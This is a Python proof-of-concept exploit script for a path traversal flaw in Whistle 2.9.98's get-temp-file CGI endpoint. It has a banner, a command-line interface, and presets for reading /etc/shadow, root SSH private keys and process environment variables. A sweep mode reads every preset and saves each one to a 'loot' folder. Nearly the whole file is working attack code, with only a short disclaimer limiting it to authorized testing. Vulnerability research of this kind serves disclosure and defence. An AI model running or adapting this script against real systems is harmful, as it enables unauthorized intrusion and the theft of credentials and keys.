#!/usr/bin/env python3 # ============================================================================= # CVE-2025-5880 — Whistle 2.9.98 Path Traversal PoC # Affected Component : /cgi-bin/sessions/get-temp-file # Vulnerability Type : Path Traversal (CWE-22) # Author : Security Research - Pwnr (yacine@bypassed.uk) # Disclaimer : For authorized testing and educational purposes only. # ============================================================================= import argparse import json import sys import urllib.request import urllib.error from datetime import datetime # ── ANSI colour palette ────────────────────────────────────────────────────── R = "\033[91m" # red G = "\033[92m" # green Y = "\033[93m" # yellow C = "\033[96m" # cyan W = "\033[97m" # white DIM= "\033[2m" RST= "\033[0m" BANNER = fr""" {R} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ {RST}{Y} Whistle 2.9.98 — Path Traversal via get-temp-file{RST} {DIM} CVE-2025-5880 | CWE-22 | /cgi-bin/sessions/get-temp-file{RST} {DIM} Credit - Pwnr (yacine@bypassed.uk){RST} """ # ── Default targets that are interesting to grab ───────────────────────────── PRESETS = { "passwd" : "/etc/passwd", "shadow" : "/etc/shadow", "hosts" : "/etc/hosts", "id_rsa" : "/root/.ssh/id_rsa", "id_ed25519": "/root/.ssh/id_ed25519", "authorized": "/root/.ssh/authorized_keys", "env" : "/proc/self/environ", "cmdline" : "/proc/self/cmdline", } # ── Core exploit ───────────────────────────────────────────────────────────── def exploit(base_url: str, file_path: str, timeout: int = 10) -> str | None: """ Send a single traversal request. Returns the decoded file content string, or None on failure. """ url = f"{base_url.rstrip('/')}/cgi-bin/sessions/get-temp-file?filename={file_path}" try: req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) with urllib.request.urlopen(req, timeout=timeout) as resp: raw = resp.read() except urllib.error.HTTPError as e: print(f" {R}[✗] HTTP {e.code}{RST}") return None except urllib.error.URLError as e: print(f" {R}[✗] Connection error: {e.reason}{RST}") return None # Parse JSON envelope {"value": "..."} try: data = json.loads(raw) content = data.get("value", "") except json.JSONDecodeError: content = raw.decode(errors="replace") # Unescape \n sequences embedded as literal backslash-n content = content.replace("\\n", "\n").replace("\\t", "\t") return content # ── CLI helpers ─────────────────────────────────────────────────────────────── def log_result(file_path: str, content: str | None, save_to: str | None) -> None: if not content: print(f" {Y}[~] Empty response — file may not exist or is unreadable.{RST}\n") return lines = content.splitlines() print(f"\n {G}[+] Retrieved {len(lines)} line(s) from {C}{file_path}{RST}\n") print(f" {'─' * 60}") for ln in lines: print(f" {W}{ln}{RST}") print(f" {'─' * 60}\n") if save_to: with open(save_to, "w") as fh: fh.write(content) print(f" {G}[✓] Saved to {save_to}{RST}\n") def build_parser() -> argparse.ArgumentParser: p = argparse.ArgumentParser( description="CVE-2025-5880 — Whistle Path Traversal PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f"""\ {Y}Examples:{RST} # Grab /etc/passwd python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd # Read an arbitrary file python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /etc/hostname # Sweep all presets and save each result python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot {R}Authorized testing only.{RST} """, ) p.add_argument("-u", "--url", required=True, help="Base URL (e.g. http://HOST:8899)") p.add_argument("-f", "--file", help="Arbitrary file path to read (e.g. /etc/passwd)") p.add_argument("--preset", choices=list(PRESETS), help="Named target file") p.add_argument("--sweep", action="store_true", help="Iterate through all presets") p.add_argument("-o", "--output", help="Save output to this file (single-file mode)") p.add_argument("--save-dir", help="Directory to save loot when --sweep is used") p.add_argument("--timeout", type=int, default=10, help="Request timeout (default: 10s)") return p # ── Entry point ─────────────────────────────────────────────────────────────── def main() -> None: print(BANNER) parser = build_parser() args = parser.parse_args() base = args.url stamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") print(f" {DIM}[*] Target : {base}{RST}") print(f" {DIM}[*] Started : {stamp}{RST}\n") # ── Single arbitrary file ──────────────────────────────────────────────── if args.file: print(f" {C}[→] Requesting {args.file} …{RST}") content = exploit(base, args.file, args.timeout) log_result(args.file, content, args.output) # ── Named preset ───────────────────────────────────────────────────────── elif args.preset: path = PRESETS[args.preset] print(f" {C}[→] Preset '{args.preset}' → {path}{RST}") content = exploit(base, path, args.timeout) log_result(path, content, args.output) # ── Sweep all presets ───────────────────────────────────────────────────── elif args.sweep: import os if args.save_dir: os.makedirs(args.save_dir, exist_ok=True) print(f" {Y}[*] Sweeping {len(PRESETS)} preset target(s) …{RST}\n") for name, path in PRESETS.items(): print(f" {C}[→] {name:12s} → {path}{RST}") content = exploit(base, path, args.timeout) save_to = None if args.save_dir and content: save_to = os.path.join(args.save_dir, f"{name}.txt") log_result(path, content, save_to) else: parser.print_help() sys.exit(0) print(f" {DIM}[*] Done.{RST}\n") if __name__ == "__main__": main()